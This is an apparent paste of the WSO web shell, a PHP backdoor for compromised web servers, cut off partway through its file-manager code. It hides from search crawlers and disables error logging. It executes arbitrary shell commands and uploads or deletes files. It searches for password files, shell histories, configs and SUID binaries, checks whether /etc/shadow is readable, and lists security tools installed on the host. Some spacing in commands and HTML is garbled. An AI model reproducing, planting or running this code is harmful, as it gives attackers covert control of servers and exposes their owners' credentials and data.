· 10 years ago · Sep 26, 2016, 09:36 PM
1<?php echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
2
3 <style type='text/css'>
4 input[type=submit], input[type=button], input[type=reset]{
5 text-align:center;
6 background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
7 border:1px solid #4D4D4D;
8 color:#CCCCCC;
9 border-top-color:#565656;
10 padding:4px 6px;
11 margin:4px 5px;
12 height:16px;
13 -moz-box-shadow:0 0 1px black;
14 -webkit-box-shadow:0 0 1px black;
15 box-shadow:0 0 1px black;
16 text-shadow:0 1px black;
17 -moz-border-radius:4px;
18 -webkit-border-radius:4px;
19 -khtml-border-radius:4px;
20 border-radius:4px;
21 height:23px;
22}
23
24input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
25 background-position:center top;
26 text-decoration:none;
27}
28input[type=text], input[type=password]{
29 background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
30 border:1px solid #4D4D4D;
31 color:#CCCCCC;
32 border-top-color:#565656;
33 -moz-box-shadow:0 0 1px black;
34 -webkit-box-shadow:0 0 1px black;
35 box-shadow:0 0 1px black;
36 -moz-border-radius:4px;
37 -webkit-border-radius:4px;
38 -khtml-border-radius:4px;
39 border-radius:4px;
40 height:18px;
41 margin-left: 5px;
42}
43input , textarea , button , body , caption , table ,area , option {
44 outline:none;
45 transition: all 0.20s ease-in-out;
46 -webkit-transition: all 0.25s ease-in-out;
47 -moz-transition: all 0.25s ease-in-out;
48 border-radius:3px;
49 -webkit-border-radius:3px;
50 -moz-border-radius:3px;
51 border:1px solid rgba(0,0,0, 0.2);
52 /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
53}
54input , textarea {
55 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
56}
57
58
59input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
60 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
61 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
62 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
63
64 border: 1px solid #CCCC00;
65
66 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
67 overflow: auto;
68/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
69}
70
71body{
72/* font-family : Verdana; */
73 color : #f9f6f1;
74 font-size : 0.7em;
75 background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
76}
77input , textarea {
78 outline:none;
79 transition: all 0.20s ease-in-out;
80 -webkit-transition: all 0.25s ease-in-out;
81 -moz-transition: all 0.25s ease-in-out;
82 border-radius:3px;
83 -webkit-border-radius:3px;
84 -moz-border-radius:3px;
85 border:1px solid rgba(0,0,0, 0.2);
86}
87input:focus, textarea:focus {
88 outline: 0;
89 border-color: rgba(82, 168, 236, 0.8);
90 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
91 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
92 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
93
94
95 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
96 overflow: auto;
97
98}
99
100
101 </style>
102 ";
103$_SESSION[$_SERVER['HTTP_HOST']] = true;
104$color = "#df5"; //Colour
105$default_action = "FilesMan";
106$default_charset = "Windows-1251";
107if (!empty($_SERVER['HTTP_USER_AGENT'])) {
108 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
109 foreach ($userAgents as $agent) if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) {
110 header('HTTP/1.0 404 Not Found');
111 exit;
112 }
113}
114@session_start();
115@error_reporting(0);
116@ini_set('error_log', NULL);
117@ini_set('log_errors', 0);
118@ini_set('max_execution_time', 0);
119@set_time_limit(0);
120@set_magic_quotes_runtime(0);
121@define('VERSION', '3.0');
122if (get_magic_quotes_gpc()) {
123 function WSOstripslashes($array) {
124 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
125 }
126 $_POST = WSOstripslashes($_POST);
127}
128if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
129else $os = 'nix';
130$safe_mode = @ini_get('safe_mode');
131$disable_functions = @ini_get('disable_functions');
132$home_cwd = @getcwd();
133if (isset($_POST['c'])) @chdir($_POST['c']);
134$cwd = @getcwd();
135if ($os == 'win') {
136 $home_cwd = str_replace("\", " / ", $home_cwd);
137 $cwd = str_replace("\", " / ", $cwd);
138}
139if( $cwd[strlen($cwd) - 1] != '/' )
140 $cwd .= '/';
141
142if($os == 'win')
143 $aliases = array(
144 "ListDirectory" => "dir",
145 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
146 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
147 "Showactiveconnections" => "netstat - an",
148 "Showrunningservices" => "netstart",
149 "Useraccounts" => "netuser",
150 "Showcomputers" => "netview",
151 "ARPTable" => "arp - a",
152 "IPConfiguration" => "ipconfig / all"
153 );
154else
155 $aliases = array(
156 "Listdir" => "ls - lha",
157 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
158 "showopenedports" => "netstat - an | grep - ilisten",
159 "Find" => "",
160 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
161 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
162 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
163 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
164 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
165 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
166 function wsoHeader() {
167 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
168 global $color;
169 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO [Black-ID] " . VERSION . "</title>
170<style>
171body{background-color:#444;color:#e1e1e1;}
172body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
173table.info{ color:#fff;background-color:#222; }
174span,h1,a{ color: $color !important; }
175span{ font-weight: bolder; }
176h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
177div.content{ padding: 5px;margin-left:5px;background-color:#333; }
178a{ text-decoration:none; }
179a:hover{ text-decoration:underline; }
180.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
181.bigarea{ width:100%;height:250px; }
182input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
183form{ margin:0px; }
184#toolsTbl{ text-align:center; }
185.toolsInp{ width: 300px }
186.main th{text-align:left;background-color:#5e5e5e;}
187.main tr:hover{background-color:#5e5e5e}
188.l1{background-color:#444}
189pre{font-family:Courier,Monospace;}
190</style>
191<script>
192 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
193 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
194 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
195 var p1_ = '" . ((strpos(@$_POST['p1'], "
196") !== false) ? '' : addslashes(htmlspecialchars($_POST['p1']))) . "';
197 var p2_ = '" . ((strpos(@$_POST['p2'], "
198") !== false) ? '' : addslashes(htmlspecialchars(@$_POST['p2']))) . "';
199 var p3_ = '" . ((strpos(@$_POST['p3'], "
200") !== false) ? '' : addslashes(htmlspecialchars(@$_POST['p3']))) . "';
201 function set(a,c,p1,p2,p3,charset) {
202 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
203 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
204 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
205 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
206 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
207 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
208 }
209 function g(a,c,p1,p2,p3,charset) {
210 set(a,c,p1,p2,p3,charset);
211 document.mf.submit();
212 }
213 function a(a,c,p1,p2,p3,charset) {
214 set(a,c,p1,p2,p3,charset);
215 var params = 'ajax=true';
216 for(i=0;i<document.mf.elements.length;i++)
217 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
218 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
219 }
220 function sr(url, params) {
221 if (window.XMLHttpRequest)
222 req = new XMLHttpRequest();
223 else if (window.ActiveXObject)
224 req = new ActiveXObject('Microsoft.XMLHTTP');
225 if (req) {
226 req.onreadystatechange = processReqChange;
227 req.open('POST', url, true);
228 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
229 req.send(params);
230 }
231 }
232 function processReqChange() {
233 if( (req.readyState == 4) )
234 if(req.status == 200) {
235 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
236 var arr=reg.exec(req.responseText);
237 eval(arr[2].substr(0, arr[1]));
238 } else alert('Request error!');
239 }
240</script>
241<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
242<form method=post name=mf style='display:none;'>
243<input type=hidden name=a>
244<input type=hidden name=c>
245<input type=hidden name=p1>
246<input type=hidden name=p2>
247<input type=hidden name=p3>
248<input type=hidden name=charset>
249</form>";
250 $freeSpace = @diskfreespace($GLOBALS['cwd']);
251 $totalSpace = @disk_total_space($GLOBALS['cwd']);
252 $totalSpace = $totalSpace ? $totalSpace : 1;
253 $release = @php_uname('r');
254 $kernel = @php_uname('s');
255 $exdblink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
256 if (strpos('Linux', $kernel) !== false) $exdblink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
257 else $exdblink.= urlencode($kernel . ' ' . substr($release, 0, 3));
258 if (!function_exists('posix_getegid')) {
259 $user = @get_current_user();
260 $uid = @getmyuid();
261 $gid = @getmygid();
262 $group = "?";
263 } else {
264 $uid = @posix_getpwuid(@posix_geteuid());
265 $gid = @posix_getgrgid(@posix_getegid());
266 $user = $uid['name'];
267 $uid = $uid['uid'];
268 $group = $gid['name'];
269 $gid = $gid['gid'];
270 }
271 $cwd_links = '';
272 $path = explode("/", $GLOBALS['cwd']);
273 $n = count($path);
274 for ($i = 0;$i < $n - 1;$i++) {
275 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
276 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
277 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
278 }
279 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
280 $opt_charsets = '';
281 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
282 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Mass' => 'Mass', 'Domains' => 'Domain', 'Sql' => 'Sql', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Network' => 'Network');
283 $m['Self remove'] = 'SelfRemove';
284 $menu = '';
285 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>';
286 $drives = "";
287 if ($GLOBALS['os'] == 'win') {
288 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
289 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
290 }
291 echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
292 '.($GLOBALS['os'] == 'win'?' < br > Drives:
293 ':'').' < / span > < / td > '.
294 ' < td > < nobr > '.substr(@php_uname(), 0, 120).' < ahref = "http://www.google.com/search?q='.urlencode(@php_uname()).'"target = "_blank" > [Google] < / a > < ahref = "'.$exdblink.'"target = _blank > [Exploit - DB] < / a > < / nobr > < br > '.$uid.'('.$user.') < span > Group: < / span > '.$gid.'('.$group.') < br > '.@phpversion().' < span > Safemode: < / span > '.($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = #00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
295 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '<br><a href="http://www.bing.com/search?q=ip:' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Bing ]</a> | <a href="http://www.zone-h.org/archive/ip=' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
296 }
297 function wsoFooter() {
298 $is_writable = is_writable($GLOBALS['cwd']) ? "<font color=green>[ Writeable ]</font>" : "<font color=red>[ Not writable ]</font>";
299 echo "
300</div>
301<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
302 <tr>
303 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
304 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
305 </tr><tr>
306 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
307 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
308 </tr><tr>
309 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
310 <td><form method='post' ENCTYPE='multipart/form-data'>
311 <input type=hidden name=a value='FilesMAn'>
312 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
313 <input type=hidden name=p1 value='uploadFile'>
314 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
315 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
316 </tr></table></div></body></html>";
317 }
318 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
319 function posix_getpwuid($p) {
320 return false;
321 }
322 }
323 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
324 function posix_getgrgid($p) {
325 return false;
326 }
327 }
328 function wsoEx($in) {
329 $out = '';
330 if (function_exists('exec')) {
331 @exec($in, $out);
332 $out = @join("
333", $out);
334 } elseif (function_exists('passthru')) {
335 ob_start();
336 @passthru($in);
337 $out = ob_get_clean();
338 } elseif (function_exists('system')) {
339 ob_start();
340 @system($in);
341 $out = ob_get_clean();
342 } elseif (function_exists('shell_exec')) {
343 $out = shell_exec($in);
344 } elseif (is_resource($f = @popen($in, "r"))) {
345 $out = "";
346 while (!@feof($f)) $out.= fread($f, 1024);
347 pclose($f);
348 }
349 return $out;
350 }
351 function wsoViewSize($s) {
352 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
353 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
354 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
355 else return $s . ' B';
356 }
357 function wsoPerms($p) {
358 if (($p & 0xC000) == 0xC000) $i = 's';
359 elseif (($p & 0xA000) == 0xA000) $i = 'l';
360 elseif (($p & 0x8000) == 0x8000) $i = '-';
361 elseif (($p & 0x6000) == 0x6000) $i = 'b';
362 elseif (($p & 0x4000) == 0x4000) $i = 'd';
363 elseif (($p & 0x2000) == 0x2000) $i = 'c';
364 elseif (($p & 0x1000) == 0x1000) $i = 'p';
365 else $i = 'u';
366 $i.= (($p & 0x0100) ? 'r' : '-');
367 $i.= (($p & 0x0080) ? 'w' : '-');
368 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
369 $i.= (($p & 0x0020) ? 'r' : '-');
370 $i.= (($p & 0x0010) ? 'w' : '-');
371 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
372 $i.= (($p & 0x0004) ? 'r' : '-');
373 $i.= (($p & 0x0002) ? 'w' : '-');
374 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
375 return $i;
376 }
377 function wsoPermsColor($f) {
378 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
379 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
380 else return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';
381 }
382 if (!function_exists("scandir")) {
383 function scandir($dir) {
384 $dh = opendir($dir);
385 while (false !== ($filename = readdir($dh))) {
386 $files[] = $filename;
387 }
388 return $files;
389 }
390 }
391 function wsoWhich($p) {
392 $path = wsoEx('which ' . $p);
393 if (!empty($path)) return $path;
394 return false;
395 }
396 function actionSecInfo() {
397 wsoHeader();
398 echo '<h1>Server security information</h1><div class=content>';
399 function wsoSecParam($n, $v) {
400 $v = trim($v);
401 if ($v) {
402 echo '<span>' . $n . ': </span>';
403 if (strpos($v, "
404") === false) echo $v . '<br>';
405 else echo '<pre class=ml1>' . $v . '</pre>';
406 }
407 }
408 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
409 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
410 wsoSecParam('Open base dir', @ini_get('open_basedir'));
411 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
412 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
413 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
414 $temp = array();
415 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
416 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
417 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
418 if (function_exists('oci_connect')) $temp[] = "Oracle";
419 wsoSecParam('Supported databases', implode(', ', $temp));
420 echo '<br>';
421 if ($GLOBALS['os'] == 'nix') {
422 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
423 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
424 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
425 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
426 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
427 wsoSecParam('OS version', @file_get_contents('/proc/version'));
428 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
429 if (!$GLOBALS['safe_mode']) {
430 echo '<br>';
431 $temp = array();
432 foreach ($userful as $item) if (wsoWhich($item)) {
433 $temp[] = $item;
434 }
435 wsoSecParam('Userful', implode(', ', $temp));
436 $temp = array();
437 foreach ($danger as $item) if (wsoWhich($item)) {
438 $temp[] = $item;
439 }
440 wsoSecParam('Danger', implode(', ', $temp));
441 $temp = array();
442 foreach ($downloaders as $item) if (wsoWhich($item)) {
443 $temp[] = $item;
444 }
445 wsoSecParam('Downloaders', implode(', ', $temp));
446 echo '<br/>';
447 wsoSecParam('HDD space', wsoEx('df -h'));
448 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
449 }
450 } else {
451 wsoSecParam('OS Version', wsoEx('ver'));
452 wsoSecParam('Account Settings', wsoEx('net accounts'));
453 wsoSecParam('User Accounts', wsoEx('net user'));
454 }
455 echo '</div>';
456 wsoFooter();
457 }
458 function actionFilesMan() {
459 wsoHeader();
460 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
461 if (!empty($_POST['p1'])) {
462 switch ($_POST['p1']) {
463 case 'uploadFile':
464 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
465 break;
466 case 'mkdir':
467 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
468 break;
469 case 'delete':
470 function deleteDir($path) {
471 $path = (substr($path, -1) == '/') ? $path : $path . '/';
472 $dh = opendir($path);
473 while (($item = readdir($dh)) !== false) {
474 $item = $path . $item;
475 if ((basename($item) == "..") || (basename($item) == ".")) continue;
476 $type = filetype($item);
477 if ($type == "dir") deleteDir($item);
478 else @unlink($item);
479 }
480 closedir($dh);
481 rmdir($path);
482 }
483 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
484 $f = urldecode($f);
485 if (is_dir($f)) deleteDir($f);
486 else @unlink($f);
487 }
488 break;
489 case 'paste':
490 if ($_SESSION['act'] == 'copy') {
491 function copy_paste($c, $s, $d) {
492 if (is_dir($c . $s)) {
493 mkdir($d . $s);
494 $h = @opendir($c . $s);
495 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) {
496 copy_paste($c . $s . '/', $f, $d . $s . '/');
497 }
498 } elseif (is_file($c . $s)) {
499 @copy($c . $s, $d . $s);
500 }
501 }
502 foreach ($_SESSION['f'] as $f) copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
503 } elseif ($_SESSION['act'] == 'move') {
504 function move_paste($c, $s, $d) {
505 if (is_dir($c . $s)) {
506 mkdir($d . $s);
507 $h = @opendir($c . $s);
508 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) {
509 copy_paste($c . $s . '/', $f, $d . $s . '/');
510 }
511 } elseif (@is_file($c . $s)) {
512 @copy($c . $s, $d . $s);
513 }
514 }
515 foreach ($_SESSION['f'] as $f) @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
516 } elseif ($_SESSION['act'] == 'zip') {
517 if (class_exists('ZipArchive')) {
518 $zip = new ZipArchive();
519 if ($zip->open('wso_' . date("Ymd_His") . '.zip', (int)eval('return ZIPARCHIVE::CREATE;'))) {
520 chdir($_SESSION['c']);
521 foreach ($_SESSION['f'] as $f) {
522 if (@is_file($_SESSION['c'] . $f)) $zip->addFile($_SESSION['c'] . $f, $f);
523 elseif (@is_dir($_SESSION['c'] . $f)) {
524 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
525 foreach ($iterator as $key => $value) {
526 $zip->addFile(realpath($key), $key);
527 }
528 }
529 }
530 chdir($GLOBALS['cwd']);
531 $zip->close();
532 }
533 }
534 } elseif ($_SESSION['act'] == 'unzip') {
535 if (class_exists('ZipArchive')) {
536 $zip = new ZipArchive();
537 foreach ($_SESSION['f'] as $f) {
538 if ($zip->open($_SESSION['c'] . $f)) {
539 $zip->extractTo($GLOBALS['cwd']);
540 $zip->close();
541 }
542 }
543 }
544 }
545 unset($_SESSION['f']);
546 break;
547 default:
548 if (!empty($_POST['p1']) && (($_POST['p1'] == 'copy') || ($_POST['p1'] == 'move') || ($_POST['p1'] == 'zip') || ($_POST['p1'] == 'unzip'))) {
549 $_SESSION['act'] = @$_POST['p1'];
550 $_SESSION['f'] = @$_POST['f'];
551 foreach ($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
552 $_SESSION['c'] = @$_POST['c'];
553 }
554 break;
555 }
556 }
557 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
558 if ($dirContent === false) {
559 echo 'Can\'t open this folder!';
560 wsoFooter();
561 return;
562 }
563 global $sort;
564 $sort = array('name', 1);
565 if (!empty($_POST['p1'])) {
566 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
567 }
568 echo "<script>
569 function sa() {
570 for(i=0;i<document.files.elements.length;i++)
571 if(document.files.elements[i].type == 'checkbox')
572 document.files.elements[i].checked = document.files.elements[0].checked;
573 }
574</script>
575<table width='100%' class='main' cellspacing='0' cellpadding='2'>
576<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
577 $dirs = $files = array();
578 $n = count($dirContent);
579 for ($i = 0;$i < $n;$i++) {
580 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
581 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
582 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
583 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
584 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link'));
585 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
586 }
587 $GLOBALS['sort'] = $sort;
588 function wsoCmp($a, $b) {
589 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
